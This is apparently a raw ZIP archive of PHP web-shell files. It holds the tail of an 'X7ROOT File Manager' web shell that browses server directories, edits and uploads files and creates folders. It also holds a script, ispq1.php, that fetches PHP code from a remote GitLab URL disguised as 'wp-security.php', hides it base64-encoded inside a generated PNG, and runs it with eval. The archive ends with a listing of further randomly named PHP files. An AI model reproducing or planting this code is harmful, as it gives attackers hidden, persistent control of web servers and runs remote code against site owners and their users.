$fullPath = $cwd . '/' . $dirName;
if (!file_exists($fullPath)) {
if (@mkdir($fullPath)) {
echo "<div style='color:#0f0'>[+] Directory created.</div>";
} else {
echo "<div style='color:#f00'>[-] Failed to create directory.</div>";
}
} else {
echo "<div style='color:#f90'>[!] Directory already exists.</div>";
}
}
echo "<!DOCTYPE html><html lang='en'><head><meta charset='UTF-8'><title>File Manager</title><style>
body { background:#0d0d0d; color:#ccc; font-family:monospace; padding:20px; }
a { color:#5af; text-decoration:none; }
a:hover { text-decoration:underline; }
input, textarea, select { background:#111; color:#0f0; border:1px solid #444; padding:5px; width:100%; }
input[type=submit] { background:#222; color:#0f0; border:1px solid #0f0; cursor:pointer; }
hr { border:none; border-top:1px solid #333; margin:20px 0; }
.dir { color:#0ff; }
.file { color:#fff; }
.size { color:#999; float:right; }
h2 { margin:0 0 10px 0; }
</style></head><body>";
echo "<h2>X7ROOT File Manager</h2>";
echo "<b>Current Path:</b> ".safe($cwd)."<hr>";
// Show navigation
$parts = explode(DIRECTORY_SEPARATOR, $cwd);
$nav = "";
$build = "";
foreach ($parts as $p) {
if ($p == "") continue;
$build .= "/$p";
$nav .= "<a href='?path=".urlencode($build)."'>".safe($p)."</a> / ";
}
echo $nav."<hr>";
// File listing
$files = @scandir($cwd);
echo "<ul style='list-style:none;padding:0;'>";
foreach ($files as $f) {
if ($f == ".") continue;
$fp = $cwd.'/'.$f;
if (is_dir($fp)) {
echo "<li class='dir'>📠<a href='?path=".urlencode($fp)."'>".safe($f)."</a></li>";
} else {
echo "<li class='file'>📄 <a href='?path=".urlencode($cwd)."&edit=".urlencode($f)."'>".safe($f)."</a><span class='size'>(".formatSize(filesize($fp)).")</span></li>";
}
}
echo "</ul><hr>";
// Edit file
if (isset($_GET['edit'])) {
$file = basename($_GET['edit']);
$full = $cwd.'/'.$file;
if (file_exists($full)) {
$content = @file_get_contents($full);
echo "<h3>Editing: ".safe($file)."</h3>";
echo "<form method='post'>";
echo "<input type='hidden' name='filename' value='".safe($file)."'>";
echo "<textarea name='content' rows='15'>".safe($content)."</textarea><br>";
echo "<input type='submit' name='save' value='Save File'>";
echo "</form><hr>";
}
}
// Upload
echo "<h3>Upload File</h3>";
echo "<form method='post' enctype='multipart/form-data'>";
echo "<input type='file' name='file'><br>";
echo "<input type='submit' name='upload' value='Upload'>";
echo "</form><hr>";
// Create folder
echo "<h3>Create Folder</h3>";
echo "<form method='post'>";
echo "<input type='text' name='dirname' placeholder='New folder name'>";
echo "<input type='submit' name='mkdir' value='Create'>";
echo "</form>";
echo "</body></html>";PK BCm\��'� ispq1.phpnu �[��� <?php
/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/
session_start();
// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';
// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
ob_start();
$image = imagecreatetruecolor($width, $height);
// Fill with random noise
for ($x = 0; $x < $width; $x++) {
for ($y = 0; $y < $height; $y++) {
$color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
imagesetpixel($image, $x, $y, $color);
}
}
imagepng($image);
imagedestroy($image);
return ob_get_clean(); // Binary PNG data
}
// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
$content = '';
try {
$file = new SplFileObject($url);
while (!$file->eof()) {
$content .= $file->fgets();
}
} catch (Throwable $e) {
$content = '';
}
if (strlen(trim($content)) < 1) {
$content = @file_get_contents($url);
}
if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 10,
]);
$content = curl_exec($ch);
curl_close($ch);
}
return $content;
}
// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
$png = generateRealisticPngHeader();
$marker = '###PAYLOAD###';
$encoded = base64_encode($phpCode);
return $png . $marker . $encoded;
}
// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
$marker = '###PAYLOAD###';
$parts = explode($marker, $data);
if (count($parts) === 2) {
$decoded = base64_decode($parts[1]);
if ($decoded !== false && strlen(trim($decoded)) > 0) {
@eval("?>$decoded");
}
}
}
// --------------------------------------------
// Main Execution Flow
// --------------------------------------------
$remoteCode = loadRemoteData($mainUrl);
if (strlen(trim($remoteCode)) > 0) {
$payload = createStealthPayload($remoteCode);
extractAndExecutePayload($payload); // Executes hidden remote code
}
?>
PK Cm\M��� � huext.phpnu �[��� PK Cm\��Ǵq7 q7 � oiq2p.phpnu �[��� PK "Cm\���� � �: about.phpnu �[��� PK %Cm\��T:�L �L �; iwdxk.phpnu �[��� PK (Cm\#�~Kk k � index.phpnu �[��� PK *Cm\�.C/z z �� stheo.phpnu �[��� PK -Cm\�dz�1� 1� @� q1gfm.phpnu �[��� PK 0Cm\������ �� �m n9udf.phpnu �[��� PK 2Cm\ako�g~ g~ �� wufim.phpnu �[��� PK 5Cm\ �]��W �W 3z pbyk4.phpnu �[��� PK 8Cm\�a]t֭ ֭ ,� service.phpnu �[��� PK ;Cm\9�gZ�, �, =� z86uk.phpnu �[��� PK =Cm\���� � #� 8x2gj.phpnu �[��� PK BCm\��'� P� ispq1.phpnu �[��� PK ��